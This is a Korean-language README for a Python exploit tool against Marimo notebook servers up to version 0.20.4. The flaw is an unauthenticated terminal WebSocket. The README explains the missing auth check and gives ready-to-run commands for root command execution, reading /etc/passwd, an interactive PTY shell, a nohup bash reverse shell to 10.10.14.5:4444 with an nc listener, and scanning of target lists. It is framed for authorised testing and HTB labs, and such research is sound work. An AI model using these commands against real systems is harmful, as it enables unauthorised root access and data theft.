
Marimo 사전 인증 RCE(원격 코드 실행) 취약점을 악용하는 익스플로잇으로, 터미널 WebSocket을 통해 명령 실행, 대화형 PTY 셸, 리버스 셸 기능을 제공하며, 공인된 침투 테스트를 위해 설계되었습니다.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐)는 오픈소스 반응형 Python 노트북 서버입니다. ≤ 0.20.4 버전은 서버에서 인증이 활성화된 경우에도 인증을 완전히 건너뛰는 터미널 WebSocket 엔드포인트(/terminal/ws)를 노출합니다.
단 한 번의 인증되지 않은 WebSocket 연결로 완전한 PTY 대화형 셸을 얻을 수 있습니다. 기본 Docker 배포 환경에서는 명령이 root 권한으로 실행됩니다.
상태:
0.23.0에서 패치됨 — marimo-team/marimo@c24d480
/terminal/ws 엔드포인트에는 다른 모든 인증된 엔드포인트에 존재하는 validate_auth() 호출이 없습니다:
# ❌ /terminal/ws — 인증 검사 없음 (취약)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# 인증 검사 없음!
await websocket.accept() # 직접 수락
child_pid, fd = pty.fork() # PTY 셸 생성
# ✅ /ws — 올바르게 인증됨
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # 인증 강제
return
Marimo의 AuthenticationMiddleware는 인증되지 않은 연결을 UnauthenticatedUser로 표시하지만 거부하지는 않습니다 — 강제는 전적으로 엔드포인트별 데코레이터 또는 validate_auth() 호출에 의존합니다. /terminal/ws에는 둘 다 없습니다.
1. ws(s)://TARGET/terminal/ws에 연결 → 토큰 불필요
2. websocket.accept() → 연결 수락됨
3. pty.fork() → PTY 셸 생성됨
4. 아무 명령이나 전송 → root 권한으로 임의 RCE
| 소프트웨어 | 취약 버전 | 패치 버전 |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
WebSocket을 통해 바로 대화형 셸로 진입 — 리스너 불필요:
python3 CVE-2026-39987.py -u target.htb -i
[+] 대화형 셸 — 명령 입력, Ctrl+C 또는 'exit'로 종료
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
리버스 셸 페이로드를 사용할 때는 nohup ... &로 프로세스를 PTY에서 분리하여
WebSocket 연결이 닫혀도 유지되도록 하세요:
# 먼저 리스너 설정
nc -lvnp 4444
# 그 다음 페이로드 실행
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️
nohup ... &없이는 셸 프로세스가 PTY에 묶여 있어 WebSocket이 닫히면 종료됩니다. 직접 셸에는-i를, 리버스 셸에는nohup을 사용하세요.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL 단일 대상 URL 또는 호스트
-l LIST, --list LIST 대상 목록 파일 (줄당 하나)
-c CMD, --cmd CMD 실행할 명령 (기본값: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket 엔드포인트 경로 (기본값: /terminal/ws)
-t SEC, --timeout SEC 포기 전 대기 시간(초) (기본값: 2)
-d SEC, --delay SEC 연결 후 배너 수신 대기 시간(초) (기본값: 1)
-i, --interactive 대화형 PTY 셸 — 연결 유지
--verify SSL 인증서 검증 활성화 (기본적으로 비활성화)
-q, --quiet 상태 메시지 숨기기, 출력만 표시
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] 대상 : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] 모드 : command
[*] 명령 : id && cat /root/root.txt
[*] 연결 중...
[*] 배너 수신 대기 중...
[+] 페이로드 전송 중...
[+] 출력:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
작성자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다.
소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으세요.